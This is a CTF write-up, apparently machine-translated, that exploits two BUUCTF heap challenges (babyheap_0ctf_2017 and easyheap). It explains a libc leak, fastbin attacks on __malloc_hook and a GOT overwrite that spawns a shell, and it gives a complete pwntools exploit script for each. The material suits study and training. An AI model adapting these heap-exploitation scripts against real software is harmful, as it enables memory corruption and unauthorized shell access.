The first step is to change libc
Enter code audit
If you find that the symbol table is closed, you need to guess the function with the function.
Then rename the main function.
It is obvious that there is a heap overflow.
free is to drop the heap and empty the pointer.
It is found that there is no system function, so the idea is:
- Leak libc
- Change got table
It is found that the participant write protection is enabled, so the second point can be discarded.
What we need is to disclose libc, so we want the address in unsorted bins.
First, we need a heap that causes heap overflow. The next two heaps are used for free. Why two? Because the pie protection is enabled. If there is only one, you can't change the tail address of fd to point to another heap. The fourth heap applied next is to prevent the merging of the third heap after free and the fifth heap in the later stage. Then apply for the fifth heap. The size should be larger than that of fastbins, because it needs to be put into unsortedbins.
Step 1: leak libc
First malloc five heaps
Release 1 and 2
Fill in the address of 4 with fd in heap overflow 2.
Next, we need to change its size to 0x21 so that malloc does not make mistakes
Malloc twice, then
After malloc is finished, you need to change its size to 0x80
As shown in the figure, the layout of idex needs another malloc to prevent the merging of 4 and topchunk. Continue with free 4,
Put it in the unsortedbin. Then dump 2 outputs its fd.
After the heap block is free into unsorted bins
You can see that the address we need is in fd of 4, and then dump2 prints it out.
Then print it out, and then main_ Calculate arena's address
There is a tool that can put main_ The offset value of arena is displayed. As shown above. This gives you the address of libc.
What we're going to do next is malloc_hook attack.
Here is the command magic of pwngdb (note that it is not pwndbg) to print out the offset that may be used.
So you can get malloc_ The real address of hook.
The place where we construct the heap is here. Calculate f5, then return 4allocate to 0x60, free it, construct fastbinattack, and then write the place where we need to construct the heap to 4
That's how it turned out. Then allocate the heap of 0x60 twice. Fill in another 19 pieces of garbage data, write the gadgets address to the heap of the last application, and then call the malloc function.
exp is as follows
from pwn import * #is_debug = 1 context(os='linux', arch='amd64', log_level='debug') context.log_level = "debug" onegg_offset = 0 libc = null #io=remote("node4.buuoj.cn",25440) io=process('/home/hacker/Desktop/babyheap_0ctf_2017') def allocate(size): io.sendlineafter("Command:", '1') io.sendlineafter("Size:", str(size)) def fill(index, content): io.sendlineafter("Command:", '2') io.sendlineafter("Index:", str(index)) io.sendlineafter("Size:", str(len(content))) io.sendafter("Content:", content) def free(index): io.sendlineafter("Command:", '3') def dump(index): io.sendlineafter("Command:", '4') io.sendlineafter("Index:", str(index)) allocate(0x10)#0 allocate(0x10)#1 allocate(0x10)#2 allocate(0x10)#3 allocate(0x80)#4 #gdb.attach(io) #pause() free(1) free(2) payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) fill(0,payload) payload2=p64(0)*3+p64(0x21) fill(3,payload2) allocate(0x10) allocate(0x10) #gdb.attach(io) #pause() payload3=p64(0)*3+p64(0x91) fill(3,payload3) #gdb.attach(io) #pause() allocate(0x10) free(4) dump(2) io.recvuntil(": "+"\x0a") main_arena=u64(io.recv(6).ljust(8,"\x00"))-0x58 print("main_arena",hex(main_arena)) main_arena_offset=0x3c4b20 malloc_hook_offset=0x3c4b10 libc_main_addr=main_arena-main_arena_offset print("libc_addr",hex(libc_main_addr)) malloc_hook_addr=libc_main_addr+malloc_hook_offset print("malloc_hook_addr:",hex(malloc_hook_addr)) build_addr=malloc_hook_addr-0x23 print("build_addr",hex(build_addr)) allocate(0x60) #gdb.attach(io) #pause() free(4) payload=p64(build_addr) fill(2,payload) allocate(0x60) gdb.attach(io) pause() allocate(0x60) one_gadgets_offset=0x4526a one_gadgets_addr=libc_main_addr+one_gadgets_offset payload='a'*19+p64(one_gadgets_addr) fill(6,payload) #gdb.attach(io) #pause() allocate(255) io.interactive()
First ldd look at the file
Then, combined with the libc given on buuctf, we know that if we want to do it locally, we need to change libc to 2.23 with patchlf
ldd after modification
Another routine check, cheksec
It should be noted that the got table can be changed. Then put it into ida for code audit
Look at the function
Combined function execution
It can be seen from here that the whole function is to realize the three functions of creating the heap, filling the heap with data and deleting the heap. There is also a 133t function, which has only one line inside:
return system("cat /home/pwn/flag");
The initial idea was to change the content of the got table item of exit and fill in the address of the function. After the change, enter 4 to execute the function, but after the change, it was found that the system did not have this file at all. So I got stuck.
Keep looking at the code
In the create function, the first line is the function to open canary, regardless. Then enter a loop. In fact, this loop means that there can be 10 heaps at the same time. Enter the condition judgment. If the content in (heaprarray + I) is 0, enter the statement and let you enter a size, that is, the size of malloc heap. Because there is an atoi function, you need to add a str () when entering the size. The last line of this statement is to put the address of malloc heap in (heaparray+i).
Another judgment statement means that if there is content in (heaarray + I), the statement "Allocate error" will be output and exit. Next, enter the contents of the heap and output successful.
The final rendering is like this.
This part of the function implements the write function. The first four lines are to judge which heap to write data in. The next judgment statement is to see whether the number filled in is greater than nine or less than zero. If so, exit. The next step is to write data to the heap. Take the address in heaparray and write it with *. The vulnerability appears later. You will find that there is no limit to the size of input data. Creates a heap overflow vulnerability.
The Delete function releases the heap and empties the address data on the heaparray. There is nothing to pay special attention to.
Then the idea is very clear. It is to use heap overflow to realize fastbin attack, so as to write data at any address (of course, there are certain restrictions, which will be described later). However, I recently learned that chunk extend realizes fastbin attack. I want to practice, so I used a more complex method.
Start writing exp script
First, write the template of heap questions, write these functions, and then continue to write
Apply for four heaps, and then send the payload to heap 0. Change the size bit of heap 1 to 0xE1, which is equivalent to that heap 1 covers heap 2, but heap 2 still exists. then
Free dropped two piles
At this time, you can see that one is placed in unsorted bin and the other is placed in fastbins. next
Apply for a large number of blocks back, so that any address can be written at the fd pointer in the heap block of fastbins (because the two heap blocks are physically connected).
This is the result of writing. The fd of the heap block of fastbins points to 0x6020ad.
0x6020ad address: what we need to achieve is to write things in heaparray, so malloc's heap needs to be near it. Due to the detection mechanism of fastbin:
- Check whether the size of the target address matches the value of bins
- Check prev_inuse is 1
Therefore, the number in the matching size is 7f. Find the address and subtract the prev of 0x8_ Size, get 0x6020ad.
Apply for two blocks, apply to 0x6020ad, then fill in 35 a to heapparray, and write the address of got form in Block 0.
Then use fill to change the internal address of the free got table to the address of the system plt table, write '/bin/sh' in the internal part of heap block 1, and then call the free function to execute the system, taking '/bin/sh' as the parameter to get the shell.
The complete exp is as follows:
from pwn import * context(os='linux', arch='amd64', log_level='debug') context.log_level = "debug" io=process('/home/hacker/Desktop/easyheap' ) #io=remote("node4.buuoj.cn",28003) elf=ELF('/home/hacker/Desktop/easyheap') def allocate(size,content): io.sendlineafter("Your choice :", '1') io.sendlineafter("Size of Heap :", str(size)) io.sendlineafter("Content of heap:",content) def fill(index, content): io.sendlineafter("Your choice :", '2') io.sendlineafter("Index :", str(index)) io.sendlineafter("Size of Heap :", str(len(content))) io.sendafter("Content of heap :", content) def free(index): io.sendlineafter("Your choice :", '3') io.sendlineafter("Index :", str(index)) payload='a'*0x68+p64(0xE1) allocate(0x60,'a')#0 allocate(0x60,'a')#1 allocate(0x60,'a')#2 allocate(0x20,'a')#3 fill(0,payload) free(2) #gdb.attach(io) #pause() free(1) gdb.attach(io) pause() allocate(0xD0,'a') payload='a'*0x68+p64(0x71)+p64(0x6020ad) fill(1,payload) #gdb.attach(io) #pause() allocate(0x60,'a') allocate(0x60,'a') payload='a'*35+p64(elf.got['free']) #gdb.attach(io) #pause() fill(4,payload) pause() payload1='/bin/sh\x00' payload2=p64(elf.plt['system']) fill(0,payload2) fill(1,payload1) free(1) io.interactive()